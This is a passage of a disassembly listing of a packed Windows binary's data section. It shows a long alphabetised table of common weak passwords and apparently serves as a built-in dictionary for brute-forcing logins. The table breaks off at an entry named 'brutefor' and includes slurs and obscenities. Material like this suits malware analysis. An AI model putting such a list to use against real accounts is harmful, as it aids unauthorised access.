.nsp0:00429E04o align 4 aHoney db 'honey',0 ; DATA XREF: .nsp0:00429E00o align 4 aHomework db 'homework',0 ; DATA XREF: .nsp0:00429DFCo align 10h aHomer db 'homer',0 ; DATA XREF: .nsp0:00429DF8o align 4 aHomepage db 'homepage',0 ; DATA XREF: .nsp0:00429DF4o align 4 aHollywoo db 'hollywoo',0 ; DATA XREF: .nsp0:00429DF0o align 10h aHolly db 'holly',0 ; DATA XREF: .nsp0:00429DECo align 4 aHole db 'hole',0 ; DATA XREF: .nsp0:00429DE8o align 10h aHits db 'hits',0 ; DATA XREF: .nsp0:00429DE4o align 4 aHitler db 'hitler',0 ; DATA XREF: .nsp0:00429DE0o align 10h aHighland db 'highland',0 ; DATA XREF: .nsp0:00429DDCo align 4 aHigh db 'high',0 ; DATA XREF: .nsp0:00429DD8o align 4 aHidden db 'hidden',0 ; DATA XREF: .nsp0:00429DD4o align 4 aHibernia db 'hibernia',0 ; DATA XREF: .nsp0:00429DD0o align 4 aHiawatha db 'hiawatha',0 ; DATA XREF: .nsp0:00429DCCo align 4 aHexadeci db 'hexadeci',0 ; DATA XREF: .nsp0:00429DC8o align 10h aHewlett db 'hewlett',0 ; DATA XREF: .nsp0:00429DC4o aHeroin db 'heroin',0 ; DATA XREF: .nsp0:00429DC0o align 10h aHero db 'hero',0 ; DATA XREF: .nsp0:00429DBCo align 4 aHerbert db 'herbert',0 ; DATA XREF: .nsp0:00429DB8o aHerb db 'herb',0 ; DATA XREF: .nsp0:00429DB4o align 4 aHelp db 'help',0 ; DATA XREF: .nsp0:00429DB0o align 10h aHello db 'hello',0 ; DATA XREF: .nsp0:00429DACo align 4 aHell db 'hell',0 ; DATA XREF: .nsp0:00429DA8o align 10h aHeinlein db 'heinlein',0 ; DATA XREF: .nsp0:00429DA4o align 4 aHeidi db 'heidi',0 ; DATA XREF: .nsp0:00429DA0o align 4 aHebrides db 'hebrides',0 ; DATA XREF: .nsp0:00429D9Co align 10h aHeather db 'heather',0 ; DATA XREF: .nsp0:00429D98o aHeathen db 'heathen',0 ; DATA XREF: .nsp0:00429D94o aHeat db 'heat',0 ; DATA XREF: .nsp0:00429D90o align 4 aHeadbang db 'headbang',0 ; DATA XREF: .nsp0:00429D8Co align 4 aHead db 'head',0 ; DATA XREF: .nsp0:00429D88o align 4 aHawaii db 'hawaii',0 ; DATA XREF: .nsp0:00429D84o align 4 aHaven db 'haven',0 ; DATA XREF: .nsp0:00429D80o align 4 aHate db 'hate',0 ; DATA XREF: .nsp0:00429D7Co align 4 aHarvey db 'harvey',0 ; DATA XREF: .nsp0:00429D78o align 4 aHarold db 'harold',0 ; DATA XREF: .nsp0:00429D74o align 4 aHarmony db 'harmony',0 ; DATA XREF: .nsp0:00429D70o aHarddriv db 'harddriv',0 ; DATA XREF: .nsp0:00429D6Co align 4 aHardcore db 'hardcore',0 ; DATA XREF: .nsp0:00429D68o align 4 aHard db 'hard',0 ; DATA XREF: .nsp0:00429D64o align 4 aHappenin db 'happenin',0 ; DATA XREF: .nsp0:00429D60o align 4 aHandjob db 'handjob',0 ; DATA XREF: .nsp0:00429D5Co aHandily db 'handily',0 ; DATA XREF: .nsp0:00429D58o aHandel db 'handel',0 ; DATA XREF: .nsp0:00429D54o align 10h aHamster db 'hamster',0 ; DATA XREF: .nsp0:00429D50o aHamlet db 'hamlet',0 ; DATA XREF: .nsp0:00429D4Co align 10h aHallowee db 'hallowee',0 ; DATA XREF: .nsp0:00429D48o align 4 aHair db 'hair',0 ; DATA XREF: .nsp0:00429D44o align 4 aHagar db 'hagar',0 ; DATA XREF: .nsp0:00429D40o align 4 aHacked db 'hacked',0 ; DATA XREF: .nsp0:00429D3Co align 4 aHack db 'hack',0 ; DATA XREF: .nsp0:00429D38o align 4 aGuntis db 'guntis',0 ; DATA XREF: .nsp0:00429D34o align 4 aGumption db 'gumption',0 ; DATA XREF: .nsp0:00429D30o align 10h aGuitar db 'guitar',0 ; DATA XREF: .nsp0:00429D2Co align 4 aGuess db 'guess',0 ; DATA XREF: .nsp0:00429D28o align 10h aGucci db 'gucci',0 ; DATA XREF: .nsp0:00429D24o align 4 aGuardian db 'guardian',0 ; DATA XREF: .nsp0:00429D20o align 4 aGryphon db 'gryphon',0 ; DATA XREF: .nsp0:00429D1Co aGroup db 'group',0 ; DATA XREF: .nsp0:00429D18o align 4 aGreen db 'green',0 ; DATA XREF: .nsp0:00429D14o align 4 aGreat db 'great',0 ; DATA XREF: .nsp0:00429D10o align 4 aGrant db 'grant',0 ; DATA XREF: .nsp0:00429D0Co align 4 aGrand db 'grand',0 ; DATA XREF: .nsp0:00429D08o align 4 aGrahm db 'grahm',0 ; DATA XREF: .nsp0:00429D04o align 4 aGraham db 'graham',0 ; DATA XREF: .nsp0:00429D00o align 4 aGrades db 'grades',0 ; DATA XREF: .nsp0:00429CFCo align 4 aGovermen db 'govermen',0 ; DATA XREF: .nsp0:00429CF8o align 4 aGouge db 'gouge',0 ; DATA XREF: .nsp0:00429CF4o align 10h aGosling db 'gosling',0 ; DATA XREF: .nsp0:00429CF0o aGorges db 'gorges',0 ; DATA XREF: .nsp0:00429CECo align 10h aGorgeous db 'gorgeous',0 ; DATA XREF: .nsp0:00429CE8o align 4 aGood db 'good',0 ; DATA XREF: .nsp0:00429CE4o align 4 aGolfer db 'golfer',0 ; DATA XREF: .nsp0:00429CE0o align 4 aGolf db 'golf',0 ; DATA XREF: .nsp0:00429CDCo align 4 aGolden db 'golden',0 ; DATA XREF: .nsp0:00429CD8o align 4 aGold db 'gold',0 ; DATA XREF: .nsp0:00429CD4o align 4 aGlacier db 'glacier',0 ; DATA XREF: .nsp0:00429CD0o aGirl db 'girl',0 ; DATA XREF: .nsp0:00429CCCo align 4 aGinger db 'ginger',0 ; DATA XREF: .nsp0:00429CC8o align 4 aGina db 'gina',0 ; DATA XREF: .nsp0:00429CC4o align 4 aGigabyte db 'gigabyte',0 ; DATA XREF: .nsp0:00429CC0o align 10h aGibson db 'gibson',0 ; DATA XREF: .nsp0:00429CBCo align 4 aGhost db 'ghost',0 ; DATA XREF: .nsp0:00429CB8o align 10h aGertrude db 'gertrude',0 ; DATA XREF: .nsp0:00429CB4o align 4 aGerm db 'germ',0 ; DATA XREF: .nsp0:00429CB0o align 4 aGeorge db 'george',0 ; DATA XREF: .nsp0:00429CACo align 4 aGauss db 'gauss',0 ; DATA XREF: .nsp0:00429CA8o align 4 aGatt db 'gatt',0 ; DATA XREF: .nsp0:00429CA4o align 4 aGatherin db 'gatherin',0 ; DATA XREF: .nsp0:00429CA0o align 4 aGateway db 'gateway',0 ; DATA XREF: .nsp0:00429C9Co aGarfield db 'garfield',0 ; DATA XREF: .nsp0:00429C98o align 4 aGardner db 'gardner',0 ; DATA XREF: .nsp0:00429C94o aGames db 'games',0 ; DATA XREF: .nsp0:00429C90o align 4 aGabriel db 'gabriel',0 ; DATA XREF: .nsp0:00429C8Co aFungible db 'fungible',0 ; DATA XREF: .nsp0:00429C88o align 10h aFunction db 'function',0 ; DATA XREF: .nsp0:00429C84o align 4 aFudge db 'fudge',0 ; DATA XREF: .nsp0:00429C80o align 4 aFuckyou db 'fuckyou',0 ; DATA XREF: .nsp0:00429C7Co aFuckme db 'fuckme',0 ; DATA XREF: .nsp0:00429C78o align 4 aFucking db 'fucking',0 ; DATA XREF: .nsp0:00429C74o aFucker db 'fucker',0 ; DATA XREF: .nsp0:00429C70o align 4 aFuck db 'fuck',0 ; DATA XREF: .nsp0:00429C6Co align 4 aFryguy db 'fryguy',0 ; DATA XREF: .nsp0:00429C68o align 4 aFrog db 'frog',0 ; DATA XREF: .nsp0:00429C64o align 4 aFrighten db 'frighten',0 ; DATA XREF: .nsp0:00429C60o align 4 aFriends db 'friends',0 ; DATA XREF: .nsp0:00429C5Co aFriend db 'friend',0 ; DATA XREF: .nsp0:00429C58o align 4 aFriday db 'friday',0 ; DATA XREF: .nsp0:00429C54o align 10h aFrench db 'french',0 ; DATA XREF: .nsp0:00429C50o align 4 aFreedom db 'freedom',0 ; DATA XREF: .nsp0:00429C4Co aFree db 'free',0 ; DATA XREF: .nsp0:00429C48o align 4 aFred db 'fred',0 ; DATA XREF: .nsp0:00429C44o align 10h aFreak db 'freak',0 ; DATA XREF: .nsp0:00429C40o align 4 aFrank db 'frank',0 ; DATA XREF: .nsp0:00429C3Co align 10h aFrance db 'france',0 ; DATA XREF: .nsp0:00429C38o align 4 aFoxtrot db 'foxtrot',0 ; DATA XREF: .nsp0:00429C34o aFourier db 'fourier',0 ; DATA XREF: .nsp0:00429C30o aForsythe db 'forsythe',0 ; DATA XREF: .nsp0:00429C2Co align 4 aFornicat db 'fornicat',0 ; DATA XREF: .nsp0:00429C28o align 10h aFormat db 'format',0 align 4 aForm db 'form',0 align 10h aForever db 'forever',0 aForesigh db 'foresigh',0 align 4 aFord db 'ford',0 align 4 aForce db 'force',0 align 4 aFootball db 'football',0 align 10h aFoolproo db 'foolproo',0 ; DATA XREF: .nsp0:00429C08o align 4 aFool db 'fool',0 align 4 aFood db 'food',0 align 4 aFlowers db 'flowers',0 aFlower db 'flower',0 align 4 aFlorida db 'florida',0 aFloat db 'float',0 ; DATA XREF: .nsp0:00429BF0o align 4 aFlakes db 'flakes',0 ; DATA XREF: .nsp0:00429BECo align 4 aFishers db 'fishers',0 ; DATA XREF: .nsp0:00429BE8o aFirewall db 'firewall',0 ; DATA XREF: .nsp0:00429BE4o align 4 aFire db 'fire',0 align 10h aFinite db 'finite',0 align 4 aFile db 'file',0 ; DATA XREF: .nsp0:00405E02o align 10h aFight db 'fight',0 align 4 aField db 'field',0 align 10h aFidelity db 'fidelity',0 align 4 aFerrari db 'ferrari',0 aFermat db 'fermat',0 ; DATA XREF: .nsp0:00429BC4o align 4 aFender db 'fender',0 ; DATA XREF: .nsp0:00429BC0o align 4 aFelicia db 'felicia',0 aFeds db 'feds',0 ; DATA XREF: .nsp0:00429BB8o align 4 aFear db 'fear',0 align 4 aFast db 'fast',0 ; DATA XREF: .nsp0:00429BB0o align 4 aFart db 'fart',0 ; DATA XREF: .nsp0:00429BACo align 4 aFaraday db 'faraday',0 ; DATA XREF: .nsp0:00429BA8o aFarad db 'farad',0 ; DATA XREF: .nsp0:00429BA4o align 4 aFamily db 'family',0 ; DATA XREF: .nsp0:00429BA0o align 4 aFalse db 'false',0 align 4 aFalcon db 'falcon',0 align 4 aFaith db 'faith',0 align 4 aFairway db 'fairway',0 aExtensio db 'extensio',0 ; DATA XREF: .nsp0:00429B8Co align 10h aExplosiv db 'explosiv',0 ; DATA XREF: .nsp0:00429B88o align 4 aExplorer db 'explorer',0 align 4 aExplore db 'explore',0 aExplode db 'explode',0 ; DATA XREF: .nsp0:00429B7Co aExpert db 'expert',0 ; DATA XREF: .nsp0:00429B78o align 10h aEvelyn db 'evelyn',0 ; DATA XREF: .nsp0:00429B74o align 4 aEuclid db 'euclid',0 align 10h aEternity db 'eternity',0 ; DATA XREF: .nsp0:00429B6Co align 4 aEstate db 'estate',0 ; DATA XREF: .nsp0:00429B68o align 4 aEstablis db 'establis',0 ; DATA XREF: .nsp0:00429B64o align 10h aErsatz db 'ersatz',0 ; DATA XREF: .nsp0:00429B60o align 4 aErotic db 'erotic',0 ; DATA XREF: .nsp0:00429B5Co align 10h aErin db 'erin',0 ; DATA XREF: .nsp0:00429B58o align 4 aErika db 'erika',0 ; DATA XREF: .nsp0:00429B54o align 10h aErica db 'erica',0 ; DATA XREF: .nsp0:00429B50o align 4 aEric db 'eric',0 ; DATA XREF: .nsp0:00429B4Co align 10h aErenity db 'erenity',0 ; DATA XREF: .nsp0:00429B48o aEnzyme db 'enzyme',0 ; DATA XREF: .nsp0:00429B44o align 10h aEnterpri db 'enterpri',0 ; DATA XREF: .nsp0:00429B40o align 4 aEnter db 'enter',0 ; DATA XREF: .nsp0:00429B3Co align 4 aEnglish db 'english',0 ; DATA XREF: .nsp0:00429B38o aEngland db 'england',0 ; DATA XREF: .nsp0:00429B34o aEngineer db 'engineer',0 ; DATA XREF: .nsp0:00429B30o align 10h aEngine db 'engine',0 ; DATA XREF: .nsp0:00429B2Co align 4 aEnemy db 'enemy',0 ; DATA XREF: .nsp0:00429B28o align 10h aEmmanuel db 'emmanuel',0 ; DATA XREF: .nsp0:00429B24o align 4 aEmily db 'emily',0 ; DATA XREF: .nsp0:00429B20o align 4 aEmerald db 'emerald',0 ; DATA XREF: .nsp0:00429B1Co aEmail db 'email',0 ; DATA XREF: .nsp0:00406AF2o ; .nsp0:00429B18o align 4 aEllen db 'ellen',0 ; DATA XREF: .nsp0:00429B14o align 4 aElizabet db 'elizabet',0 ; DATA XREF: .nsp0:00429B10o align 4 aElephant db 'elephant',0 ; DATA XREF: .nsp0:00429B0Co align 4 aElectron db 'electron',0 ; DATA XREF: .nsp0:00429B08o align 10h aElanor db 'elanor',0 ; DATA XREF: .nsp0:00429B04o align 4 aElaine db 'elaine',0 ; DATA XREF: .nsp0:00429B00o align 10h aEinstein db 'einstein',0 ; DATA XREF: .nsp0:00429AFCo align 4 aEinsiein db 'einsiein',0 ; DATA XREF: .nsp0:00429AF8o align 4 aEileen db 'eileen',0 ; DATA XREF: .nsp0:00429AF4o align 10h aEiderdow db 'eiderdow',0 ; DATA XREF: .nsp0:00429AF0o align 4 aEgghead db 'egghead',0 ; DATA XREF: .nsp0:00429AECo aEdwina db 'edwina',0 ; DATA XREF: .nsp0:00429AE8o align 4 aEdwin db 'edwin',0 ; DATA XREF: .nsp0:00429AE4o align 4 aEducatio db 'educatio',0 ; DATA XREF: .nsp0:00429AE0o align 10h aEducation db 'education',0 ; DATA XREF: .nsp0:00429ADCo align 4 aEdition db 'edition',0 ; DATA XREF: .nsp0:00429AD8o aEdit db 'edit',0 ; DATA XREF: .nsp0:00429AD4o align 4 aEdinburg db 'edinburg',0 ; DATA XREF: .nsp0:00429AD0o align 4 aEdges db 'edges',0 ; DATA XREF: .nsp0:00429ACCo align 10h aEddie db 'eddie',0 ; DATA XREF: .nsp0:00429AC8o align 4 aEcho db 'echo',0 ; DATA XREF: .nsp0:00429AC4o align 10h aEatme db 'eatme',0 ; DATA XREF: .nsp0:00429AC0o align 4 aEasy db 'easy',0 ; DATA XREF: .nsp0:00429ABCo align 10h aEasier db 'easier',0 ; DATA XREF: .nsp0:00429AB8o align 4 aEarth db 'earth',0 ; DATA XREF: .nsp0:00429AB4o align 10h aEagle db 'eagle',0 ; DATA XREF: .nsp0:00429AB0o align 4 aEager db 'eager',0 ; DATA XREF: .nsp0:00429AACo align 10h aDyke db 'dyke',0 ; DATA XREF: .nsp0:00429AA8o align 4 aDungeon db 'dungeon',0 ; DATA XREF: .nsp0:00429AA4o aDuncan db 'duncan',0 ; DATA XREF: .nsp0:00429AA0o align 4 aDulce db 'dulce',0 ; DATA XREF: .nsp0:00429A9Co align 10h aDuke db 'duke',0 ; DATA XREF: .nsp0:00429A98o align 4 aDuelist db 'duelist',0 ; DATA XREF: .nsp0:00429A94o aDude db 'dude',0 ; DATA XREF: .nsp0:00429A90o align 4 aDuck db 'duck',0 ; DATA XREF: .nsp0:00429A8Co align 10h aDrought db 'drought',0 ; DATA XREF: .nsp0:00429A88o aDrive db 'drive',0 ; DATA XREF: .nsp0:00429A84o align 10h aDrdoom db 'drdoom',0 ; DATA XREF: .nsp0:00429A80o align 4 aDragon db 'dragon',0 ; DATA XREF: .nsp0:00429A7Co align 10h aDownload db 'download',0 ; DATA XREF: .nsp0:00429A78o align 4 aDope db 'dope',0 ; DATA XREF: .nsp0:00429A74o align 4 aDoors db 'doors',0 ; DATA XREF: .nsp0:00429A70o align 4 aDoor db 'door',0 ; DATA XREF: .nsp0:00429A6Co align 4 aDoonesbu db 'doonesbu',0 ; DATA XREF: .nsp0:00429A68o align 10h aDoomsday db 'doomsday',0 ; DATA XREF: .nsp0:00429A64o align 4 aDoomii db 'doomii',0 ; DATA XREF: .nsp0:00429A60o align 4 aDoom2 db 'doom2',0 ; DATA XREF: .nsp0:00429A5Co align 4 aDoom db 'doom',0 ; DATA XREF: .nsp0:00429A58o align 4 aDong db 'dong',0 ; DATA XREF: .nsp0:00429A54o align 4 aDollar db 'dollar',0 ; DATA XREF: .nsp0:00429A50o align 4 aDoctor db 'doctor',0 ; DATA XREF: .nsp0:00429A4Co align 4 aDisplay_0 db 'display',0 ; DATA XREF: .nsp0:00429A48o aDisney db 'disney',0 ; DATA XREF: .nsp0:00429A44o align 4 aDiskette db 'diskette',0 ; DATA XREF: .nsp0:00429A40o align 4 aDisk_0 db 'disk',0 ; DATA XREF: .nsp0:00429A3Co align 10h aDiscover db 'discover',0 ; DATA XREF: .nsp0:00429A38o align 4 aDisclose db 'disclose',0 ; DATA XREF: .nsp0:00429A34o align 4 aDiscipli db 'discipli',0 ; DATA XREF: .nsp0:00429A30o align 4 aDisc db 'disc',0 ; DATA XREF: .nsp0:00429A2Co align 4 aDirty db 'dirty',0 ; DATA XREF: .nsp0:00429A28o align 4 aDirector db 'director',0 ; DATA XREF: .nsp0:00429A24o align 10h aDirect db 'direct',0 ; DATA XREF: .nsp0:00429A20o align 4 aDipshit db 'dipshit',0 ; DATA XREF: .nsp0:00429A1Co aDinosaur db 'dinosaur',0 ; DATA XREF: .nsp0:00429A18o align 4 aDigital db 'digital',0 ; DATA XREF: .nsp0:00429A14o aDieter db 'dieter',0 ; DATA XREF: .nsp0:00429A10o align 4 aDiet db 'diet',0 ; DATA XREF: .nsp0:00429A0Co align 4 aDiehard db 'diehard',0 ; DATA XREF: .nsp0:00429A08o aDick db 'dick',0 ; DATA XREF: .nsp0:00429A04o align 4 aDice db 'dice',0 ; DATA XREF: .nsp0:00429A00o align 4 aDiane db 'diane',0 ; DATA XREF: .nsp0:004299FCo align 4 aDiana db 'diana',0 ; DATA XREF: .nsp0:004299F8o align 4 aDiamond db 'diamond',0 ; DATA XREF: .nsp0:004299F4o aDial db 'dial',0 ; DATA XREF: .nsp0:004299F0o align 4 aDevice db 'device',0 ; DATA XREF: .nsp0:004299ECo align 4 aDevelop db 'develop',0 ; DATA XREF: .nsp0:004299E8o aDesperat db 'desperat',0 ; DATA XREF: .nsp0:004299E4o align 4 aDesktop db 'desktop',0 ; DATA XREF: .nsp0:004299E0o aDesk db 'desk',0 ; DATA XREF: .nsp0:004299DCo align 4 aDesiree db 'desiree',0 ; DATA XREF: .nsp0:004299D8o aDennis db 'dennis',0 ; DATA XREF: .nsp0:004299D4o align 4 aDenise db 'denise',0 ; DATA XREF: .nsp0:004299D0o align 10h aDemocrat db 'democrat',0 ; DATA XREF: .nsp0:004299CCo align 4 aDeluge db 'deluge',0 ; DATA XREF: .nsp0:004299C8o align 4 aDelta db 'delta',0 ; DATA XREF: .nsp0:004299C4o align 4 aDefoe db 'defoe',0 ; DATA XREF: .nsp0:004299C0o align 4 aDefault_0 db 'DEFAULT',0 ; DATA XREF: .nsp0:004299BCo aDeck db 'deck',0 ; DATA XREF: .nsp0:004299B4o align 4 aDecember db 'december',0 ; DATA XREF: .nsp0:004299B0o align 10h aDebug db 'debug',0 ; DATA XREF: .nsp0:004299ACo align 4 aDeborah db 'deborah',0 ; DATA XREF: .nsp0:004299A8o aDebbie db 'debbie',0 ; DATA XREF: .nsp0:004299A4o align 4 aDeathsta db 'deathsta',0 ; DATA XREF: .nsp0:004299A0o align 4 aDead db 'dead',0 ; DATA XREF: .nsp0:0042999Co align 4 aDawn db 'dawn',0 ; DATA XREF: .nsp0:00429998o align 4 aDave db 'dave',0 ; DATA XREF: .nsp0:00429994o align 4 aData db 'data',0 ; DATA XREF: .nsp0:00429990o align 4 aDarkaven db 'darkaven',0 ; DATA XREF: .nsp0:0042998Co align 10h aDark db 'dark',0 ; DATA XREF: .nsp0:00429988o align 4 aDapper db 'dapper',0 ; DATA XREF: .nsp0:00429984o align 10h aDanny db 'danny',0 ; DATA XREF: .nsp0:00429980o align 4 aDanielle db 'danielle',0 ; DATA XREF: .nsp0:0042997Co align 4 aDaniel db 'daniel',0 ; DATA XREF: .nsp0:00429978o align 4 aDancer db 'dancer',0 ; DATA XREF: .nsp0:00429974o align 4 aDana db 'dana',0 ; DATA XREF: .nsp0:00429970o align 4 aDaisy db 'daisy',0 ; DATA XREF: .nsp0:0042996Co align 4 aDaemon db 'daemon',0 ; DATA XREF: .nsp0:00429968o align 4 aCynthia db 'cynthia',0 ; DATA XREF: .nsp0:00429964o aCyberspa db 'cyberspa',0 ; DATA XREF: .nsp0:00429960o align 10h aCyberpun db 'cyberpun',0 ; DATA XREF: .nsp0:0042995Co align 4 aCyber_1 db 'cyber',0 ; DATA XREF: .nsp0:00429958o align 4 aCustomer db 'customer',0 ; DATA XREF: .nsp0:00429954o align 10h aCunt db 'cunt',0 ; DATA XREF: .nsp0:00429950o align 4 aCshrc db 'cshrc',0 ; DATA XREF: .nsp0:0042994Co align 10h aCrystal db 'crystal',0 ; DATA XREF: .nsp0:00429948o aCristina db 'cristina',0 ; DATA XREF: .nsp0:00429944o align 4 aCriminal db 'criminal',0 ; DATA XREF: .nsp0:00429940o align 10h aCrime db 'crime',0 ; DATA XREF: .nsp0:0042993Co align 4 aCretin db 'cretin',0 ; DATA XREF: .nsp0:00429938o align 10h aCreosote db 'creosote',0 ; DATA XREF: .nsp0:00429934o align 4 aCredit db 'credit',0 ; DATA XREF: .nsp0:00429930o align 4 aCreature db 'creature',0 ; DATA XREF: .nsp0:0042992Co align 10h aCreation db 'creation',0 ; DATA XREF: .nsp0:00429928o align 4 aCreate db 'create',0 ; DATA XREF: .nsp0:00429924o align 4 aCream db 'cream',0 ; DATA XREF: .nsp0:00429920o align 4 aCrackpot db 'crackpot',0 ; DATA XREF: .nsp0:0042991Co align 4 aCrack db 'crack',0 ; DATA XREF: .nsp0:00429918o align 10h aCowboy db 'cowboy',0 ; DATA XREF: .nsp0:00429914o align 4 aCouscous db 'couscous',0 ; DATA XREF: .nsp0:00429910o align 4 aCountry db 'country',0 ; DATA XREF: .nsp0:0042990Co aCounters db 'counters',0 ; DATA XREF: .nsp0:00429908o align 4 aCorrect db 'correct',0 ; DATA XREF: .nsp0:00429904o aCorneliu db 'corneliu',0 ; DATA XREF: .nsp0:00429900o align 4 aCopy db 'copy',0 ; DATA XREF: .nsp0:004298FCo align 4 aCops db 'cops',0 ; DATA XREF: .nsp0:004298F8o align 4 aCopper db 'copper',0 ; DATA XREF: .nsp0:004298F4o align 4 aCooper db 'cooper',0 ; DATA XREF: .nsp0:004298F0o align 4 aCool db 'cool',0 ; DATA XREF: .nsp0:004298ECo align 4 aCookie db 'cookie',0 ; DATA XREF: .nsp0:004298E8o align 4 aCookbook db 'cookbook',0 ; DATA XREF: .nsp0:004298E4o align 4 aCook db 'cook',0 ; DATA XREF: .nsp0:004298E0o align 10h aContinue db 'continue',0 ; DATA XREF: .nsp0:0040604Bo ; .nsp0:004298DCo align 4 aConsole db 'console',0 ; DATA XREF: .nsp0:004298D8o aConserva db 'conserva',0 ; DATA XREF: .nsp0:004298D4o align 10h aConnie db 'connie',0 ; DATA XREF: .nsp0:004298D0o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409A6D+595o ; .nsp0:004298CCo aCondom db 'condom',0 ; DATA XREF: .nsp0:004298C8o align 4 aCondo db 'condo',0 ; DATA XREF: .nsp0:004298C4o align 10h aComrades db 'comrades',0 ; DATA XREF: .nsp0:004298C0o align 4 aComrade db 'comrade',0 ; DATA XREF: .nsp0:004298BCo aComputin db 'computin',0 ; DATA XREF: .nsp0:004298B8o align 10h aCompany db 'company',0 ; DATA XREF: .nsp0:004298B4o aCommrade db 'commrade',0 ; DATA XREF: .nsp0:004298B0o align 4 aCommit db 'commit',0 ; DATA XREF: .nsp0:004298ACo align 4 aComics db 'comics',0 ; DATA XREF: .nsp0:004298A8o align 4 aCombat db 'combat',0 ; DATA XREF: .nsp0:004298A4o align 4 aColor db 'color',0 ; DATA XREF: .nsp0:004298A0o align 4 aCollins db 'collins',0 ; DATA XREF: .nsp0:0042989Co aCold db 'cold',0 ; DATA XREF: .nsp0:00429898o align 4 aCola db 'cola',0 ; DATA XREF: .nsp0:00429894o align 4 aCoke db 'coke',0 ; DATA XREF: .nsp0:00429890o align 4 aCoin db 'coin',0 ; DATA XREF: .nsp0:0042988Co align 4 aCoffee db 'coffee',0 ; DATA XREF: .nsp0:00429888o align 4 aCodeword db 'codeword',0 ; DATA XREF: .nsp0:00429884o align 10h aCodename db 'codename',0 ; DATA XREF: .nsp0:00429880o align 4 aCode db 'code',0 ; DATA XREF: .nsp0:0042987Co align 4 aCock db 'cock',0 ; DATA XREF: .nsp0:00429878o align 4 aCocainco db 'cocainco',0 ; DATA XREF: .nsp0:00429874o align 4 aCocacola db 'cocacola',0 ; DATA XREF: .nsp0:00429870o align 4 aCoast db 'coast',0 ; DATA XREF: .nsp0:0042986Co align 4 aClusters db 'clusters',0 ; DATA XREF: .nsp0:00429868o align 4 aCluster db 'cluster',0 ; DATA XREF: .nsp0:00429864o aClinton db 'clinton',0 ; DATA XREF: .nsp0:00429860o aCleavage db 'cleavage',0 ; DATA XREF: .nsp0:0042985Co align 4 aClaymore db 'claymore',0 ; DATA XREF: .nsp0:00429858o align 10h aClaudia db 'claudia',0 ; DATA XREF: .nsp0:00429854o aClassic db 'classic',0 ; DATA XREF: .nsp0:00429850o aClasses db 'classes',0 ; DATA XREF: .nsp0:0042984Co aClass db 'class',0 ; DATA XREF: .nsp0:00429848o align 10h aCindy db 'cindy',0 ; DATA XREF: .nsp0:00429844o align 4 aCigarett db 'cigarett',0 ; DATA XREF: .nsp0:00429840o align 4 aCigar db 'cigar',0 ; DATA XREF: .nsp0:0042983Co align 4 aChristy db 'christy',0 ; DATA XREF: .nsp0:00429838o aChristin db 'christin',0 ; DATA XREF: .nsp0:00429834o align 10h aChris db 'chris',0 ; DATA XREF: .nsp0:00429830o align 4 aChip db 'chip',0 ; DATA XREF: .nsp0:0042982Co align 10h aChester db 'chester',0 ; DATA XREF: .nsp0:00429828o aChess db 'chess',0 ; DATA XREF: .nsp0:00429824o align 10h aChemistr db 'chemistr',0 ; DATA XREF: .nsp0:00429820o align 4 aChem db 'chem',0 ; DATA XREF: .nsp0:0042981Co align 4 aChat_0 db 'chat',0 ; DATA XREF: .nsp0:00429818o align 4 aCharon db 'charon',0 ; DATA XREF: .nsp0:00429814o align 4 aCharming db 'charming',0 ; DATA XREF: .nsp0:00429810o align 10h aCharlie db 'charlie',0 ; DATA XREF: .nsp0:0042980Co aCharles db 'charles',0 ; DATA XREF: .nsp0:00429808o aCharity db 'charity',0 ; DATA XREF: .nsp0:00429804o aChange db 'change',0 ; DATA XREF: .nsp0:00429800o align 10h aCerulean db 'cerulean',0 ; DATA XREF: .nsp0:004297FCo align 4 aCeltics db 'celtics',0 ; DATA XREF: .nsp0:004297F8o aCeltic db 'celtic',0 ; DATA XREF: .nsp0:004297F4o align 4 aCelt db 'celt',0 ; DATA XREF: .nsp0:004297F0o align 4 aCecily db 'cecily',0 ; DATA XREF: .nsp0:004297ECo align 4 aCayuga db 'cayuga',0 ; DATA XREF: .nsp0:004297E8o align 4 aCave db 'cave',0 ; DATA XREF: .nsp0:004297E4o align 4 aCathy db 'cathy',0 ; DATA XREF: .nsp0:004297E0o align 4 aCatholic db 'catholic',0 ; DATA XREF: .nsp0:004297DCo align 10h aCatherin db 'catherin',0 ; DATA XREF: .nsp0:004297D8o align 4 aCastle db 'castle',0 ; DATA XREF: .nsp0:004297D4o align 4 aCash db 'cash',0 ; DATA XREF: .nsp0:004297D0o align 4 aCascades db 'cascades',0 ; DATA XREF: .nsp0:004297CCo align 4 aCarson db 'carson',0 ; DATA XREF: .nsp0:004297C8o align 10h aCarrie db 'carrie',0 ; DATA XREF: .nsp0:004297C4o align 4 aCaroline db 'caroline',0 ; DATA XREF: .nsp0:004297C0o align 4 aCarolina db 'carolina',0 ; DATA XREF: .nsp0:004297BCo align 10h aCarole db 'carole',0 ; DATA XREF: .nsp0:004297B8o align 4 aCarol db 'carol',0 ; DATA XREF: .nsp0:004297B4o align 10h aCarmen db 'carmen',0 ; DATA XREF: .nsp0:004297B0o align 4 aCarla db 'carla',0 ; DATA XREF: .nsp0:004297ACo align 10h aCaren db 'caren',0 ; DATA XREF: .nsp0:004297A8o align 4 aCardinal db 'cardinal',0 ; DATA XREF: .nsp0:004297A4o align 4 aCard db 'card',0 ; DATA XREF: .nsp0:004297A0o align 4 aCapture db 'capture',0 ; DATA XREF: .nsp0:004061F7o ; .nsp0:0042979Co aCaptain db 'captain',0 ; DATA XREF: .nsp0:00429798o aCantor db 'cantor',0 ; DATA XREF: .nsp0:00429794o align 4 aCandy db 'candy',0 ; DATA XREF: .nsp0:00429790o align 4 aCandi db 'candi',0 ; DATA XREF: .nsp0:0042978Co align 4 aCamping db 'camping',0 ; DATA XREF: .nsp0:00429788o aCampanil db 'campanil',0 ; DATA XREF: .nsp0:00429784o align 4 aCamille db 'camille',0 ; DATA XREF: .nsp0:00429780o aCaliforn db 'californ',0 ; DATA XREF: .nsp0:0042977Co align 4 aButthead db 'butthead',0 ; DATA XREF: .nsp0:00429778o align 4 aButt db 'butt',0 ; DATA XREF: .nsp0:00429774o align 10h aButch db 'butch',0 ; DATA XREF: .nsp0:00429770o align 4 aBurn db 'burn',0 ; DATA XREF: .nsp0:0042976Co align 10h aBurgess db 'burgess',0 ; DATA XREF: .nsp0:00429768o aBung db 'bung',0 ; DATA XREF: .nsp0:00429764o align 10h aBumbling db 'bumbling',0 ; DATA XREF: .nsp0:00429760o align 4 aBullshit db 'bullshit',0 ; DATA XREF: .nsp0:0042975Co align 4 aBulls db 'bulls',0 ; DATA XREF: .nsp0:00429758o align 10h aBrutefor db 